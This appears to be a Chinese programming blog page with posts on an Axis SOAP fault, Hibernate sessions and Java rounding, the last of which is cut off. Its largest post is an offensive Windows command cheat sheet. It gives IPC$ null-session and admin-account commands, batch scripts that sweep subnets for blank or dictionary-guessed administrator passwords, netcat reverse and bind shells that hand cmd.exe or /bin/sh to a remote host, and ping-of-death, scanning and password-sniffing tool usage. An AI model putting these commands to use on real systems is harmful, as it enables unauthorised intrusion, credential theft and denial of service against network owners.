axis版本1.4 axis 与.net webservice串接
AxisFault
faultCode: {http://schemas.xmlsoap.org/soap/envelope/}Client
faultSubcode:
faultString: Server was unable to read request. ---> There is an error in XML document (1, 602). ---> Input string was not in a correct format.
faultActor:
faultNode:
faultDetail:
{http://xml.apache.org/axis/}stackTrace:Server was unable to read request. ---> There is an error in XML document (1, 602). ---> Input string was not in a correct format.
at org.apache.axis.message.SOAPFaultBuilder.createFault(SOAPFaultBuilder.java:222)
at org.apache.axis.message.SOAPFaultBuilder.endElement(SOAPFaultBuilder.java:129)
at org.apache.axis.encoding.DeserializationContext.endElement(DeserializationContext.java:1087)
at org.apache.xerces.parsers.AbstractSAXParser.endElement(Unknown Source)
at org.apache.xerces.impl.XMLNSDocumentScannerImpl.scanEndElement(Unknown Source)
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown Source)
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source)
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)
at org.apache.xerces.parsers.XMLParser.parse(Unknown Source)
at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source)
at javax.xml.parsers.SAXParser.parse(SAXParser.java:375)
at org.apache.axis.encoding.DeserializationContext.parse(DeserializationContext.java:227)
at org.apache.axis.SOAPPart.getAsSOAPEnvelope(SOAPPart.java:696)
at org.apache.axis.Message.getSOAPEnvelope(Message.java:435)
at org.apache.axis.handlers.soap.MustUnderstandChecker.invoke(MustUnderstandChecker.java:62)
at org.apache.axis.client.AxisClient.invoke(AxisClient.java:206)
at org.apache.axis.client.Call.invokeEngine(Call.java:2784)
at org.apache.axis.client.Call.invoke(Call.java:2767)
at org.apache.axis.client.Call.invoke(Call.java:2443)
at org.apache.axis.client.Call.invoke(Call.java:2366)
at org.apache.axis.client.Call.invoke(Call.java:1812)
at com.e104.an9.test.TestAxisWSClient.main(TestAxisWSClient.java:46)
{http://xml.apache.org/axis/}hostname:locey_zhang
Server was unable to read request. ---> There is an error in XML document (1, 602). ---> Input string was not in a correct format.
at org.apache.axis.message.SOAPFaultBuilder.createFault(SOAPFaultBuilder.java:222)
at org.apache.axis.message.SOAPFaultBuilder.endElement(SOAPFaultBuilder.java:129)
at org.apache.axis.encoding.DeserializationContext.endElement(DeserializationContext.java:1087)
at org.apache.xerces.parsers.AbstractSAXParser.endElement(Unknown Source)
at org.apache.xerces.impl.XMLNSDocumentScannerImpl.scanEndElement(Unknown Source)
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown Source)
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source)
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)
at org.apache.xerces.parsers.XMLParser.parse(Unknown Source)
at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source)
at javax.xml.parsers.SAXParser.parse(SAXParser.java:375)
at org.apache.axis.encoding.DeserializationContext.parse(DeserializationContext.java:227)
at org.apache.axis.SOAPPart.getAsSOAPEnvelope(SOAPPart.java:696)
at org.apache.axis.Message.getSOAPEnvelope(Message.java:435)
at org.apache.axis.handlers.soap.MustUnderstandChecker.invoke(MustUnderstandChecker.java:62)
at org.apache.axis.client.AxisClient.invoke(AxisClient.java:206)
at org.apache.axis.client.Call.invokeEngine(Call.java:2784)
at org.apache.axis.client.Call.invoke(Call.java:2767)
at org.apache.axis.client.Call.invoke(Call.java:2443)
at org.apache.axis.client.Call.invoke(Call.java:2366)
at org.apache.axis.client.Call.invoke(Call.java:1812)
at com.e104.an9.test.TestAxisWSClient.main(TestAxisWSClient.java:46)
解决方法:call.setSOAPVersion(org.apache.axis.soap.SOAPConstants.SOAP12_CONSTANTS);
posted @
2010-10-15 10:48 选宝网an9 阅读(1615) |
评论 (1) |
编辑 收藏
搜索webeditor会有问题,但搜索web editor正常,中间加一个空格就可以了。不知道是不是我浏览器的问题。有兴趣的朋友可以试一下。
posted @
2010-04-15 16:07 选宝网an9 阅读(620) |
评论 (0) |
编辑 收藏
当Kaspersky反广告开启的时候有些网页经常报这个错。关闭 Kaspersky反广告功能就解决了。
posted @
2009-11-02 15:32 选宝网an9 阅读(669) |
评论 (0) |
编辑 收藏
原文来自:
http://www.techfaq360.com/viewFreshers.jsp?tutorialId=840
getCurrentSession() :
The "current session" refers to a hibernate Session bound by hibernate behind the scenes, to the transaction scope.
A Session is opened when getCurrentSession() is called for the first time and closed when the transaction ends.
It is also flushed automatically before the transaction commits. You can call getCurrentSession() as often and anywhere you want as long as the transaction runs.
To enable this strategy in your hibernate configuration:
set hibernate.transaction.manager_lookup_class to a lookup strategy for your JEE container
set hibernate.transaction.factory_class to org.hibernate.transaction.JTATransactionFactory
Only the Session that you obtained with sf.getCurrentSession() is flushed and closed automatically.
Example :
try {
UserTransaction tx = (UserTransaction)new InitialContext()
.lookup("java:comp/UserTransaction");
tx.begin();
// Do some work
sf.getCurrentSession().createQuery(...);
sf.getCurrentSession().persist(...);
tx.commit();
}
catch (RuntimeException e) {
tx.rollback();
throw e; // or display error message
}
openSession() :
If you decide to use manage the Session yourself the go for sf.openSession() , you have to flush() and close() it.
It does not flush and close() automatically.
Example :
UserTransaction tx = (UserTransaction)new InitialContext()
.lookup("java:comp/UserTransaction");
Session session = factory.openSession();
try {
tx.begin();
// Do some work
session.createQuery(...);
session.persist(...);
session.flush(); // Extra work you need to do
tx.commit();
}
catch (RuntimeException e) {
tx.rollback();
throw e; // or display error message
}
finally {
session.close(); // Extra work you need to do
}
posted @
2008-07-25 10:32 选宝网an9 阅读(1486) |
评论 (0) |
编辑 收藏
css在线验证器
posted @
2008-07-01 13:43 选宝网an9 阅读(1021) |
评论 (0) |
编辑 收藏
日志原文:http://kangxi2009.blog.sohu.com/74637344.html
局域网dos命令集
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del
-F 文件名
加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删
除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S
*.*”表示删除当前目录下除系统文件以外的所有文件
#2 二:
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp
-i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe
登陆后,将“IP”的server.exe下载到目标主机c:\server.exe
参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
#3 三:
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls
文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm
替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F
完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
#4 四:
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
#5 五:
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysql*** -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump
--opt school>school.bbb
备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb
是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
#6 六:
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO
command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i
,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%
9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use
\\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1
254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1
254)”说明:即从254到1 }
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G
>>test.txt & net use \\%1.%%G /user:***istrator | find
"命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G
为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;|
指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254)
指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
#7 七:
2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF
[not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或
IF [not] exist 文件名 命令语句 else 命令语句 加上:else
命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。
当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上<
>后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo
test.txt.missing ”,注意命令中的“.”
(二)系统外部命令(均需下载相关工具):
1、瑞士军刀:nc.exe
参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行〔危险〕
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
如:
@dir c:\winnt >> d:\log.txt和@dir c:\winnt >
d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果
把第一次的覆盖了。
#8 八:
2、扫锚工具:xscan.exe
基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan
-host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o
检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放
端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o
检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测
进度,跳过没有检测到开放端口的主机
#9 九:
3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
4、终端服务密码破解: tscrack.exe
posted @
2008-06-26 17:37 选宝网an9 阅读(1074) |
评论 (0) |
编辑 收藏
-
Apache Ant User Manual
-
Axis 2.0 - Axis2 User's Guide
-
CSS2 中文手册
-
DataDirect JDBC drivers; Product documentation- Techres- Home
-
DHTML 参考手册
-
DOM API
-
HIBERNATE ANNOTATION中文文档
-
Index
-
InternetAddress (JavaMail API documentation)
-
Jakarta struts (Action Framework) Tutorial and Training Materials
-
Java 2 Platform SE 5.0
-
JScript中文参考手册
-
Microsoft SQL Server 2000
-
MySQL中文参考手册-目录
-
OSCache - OSCache
-
PreparedStatement (Java 2 Platform SE 5.0)
-
prototype.js 1.4版/a>
-
Search and Download Oracle Database, Application Server, and Collaboration Suite Documentation
-
Spring2.0中文文档
-
Spring1.2文档
-
struts1.x文档
-
The struts User's Guide - Validator Guide
-
XPath Tutorial
-
核心-JavaScript手册-语法-函数
-
Tapestry
-
hibernate-tools使用
-
Using prototype.js v1.5.0
-
StarUML 5.0 User Guide (StarUML Overview)
posted @
2008-06-25 10:51 选宝网an9 阅读(1125) |
评论 (0) |
编辑 收藏
文章出自http://www.cujava.com
import
java.math.BigDecimal;
import
java.text.DecimalFormat;
public class TestGetInt{
public static void main(String[] args){
double i=2, j=2.1, k=2.5, m=2.9;
System.out.println("舍掉小数取整:Math.floor(2)=" + (int)Math.floor(i));
System.out.println("舍掉小数取整:Math.floor(2.1)=" + (int)Math.floor(j));
System.out.println("舍掉小数取整:Math.floor(2.5)=" + (int)Math.floor(k));
System.out.println("舍掉小数取整:Math.floor(2.9)=" + (int)Math.floor(m));
/* 这段被注释的代码不能正确的实现四舍五入取整
System.out.println("四舍五入取整:Math.rint(2)=" + (int)Math.rint(i));
System.out.println("四舍五入取整:Math.rint(2.1)=" + (int)Math.rint(j));
System.out.println("四舍五入取整:Math.rint(2.5)=" + (int)Math.rint(k));
System.out.println("四舍五入取整:Math.rint(2.9)=" + (int)Math.rint(m));
System.out.println("四舍五入取整:(2)=" + new DecimalFormat("0").format(i));
System.out.println("四舍五入取整:(2.1)=" + new DecimalFormat("0").format(i));
System.out.println("四舍五入取整:(2.5)=" + new DecimalFormat("0").format(i));
System.out.println("四舍五入取整:(2.9)=" + new DecimalFormat("0").format(i));
*/
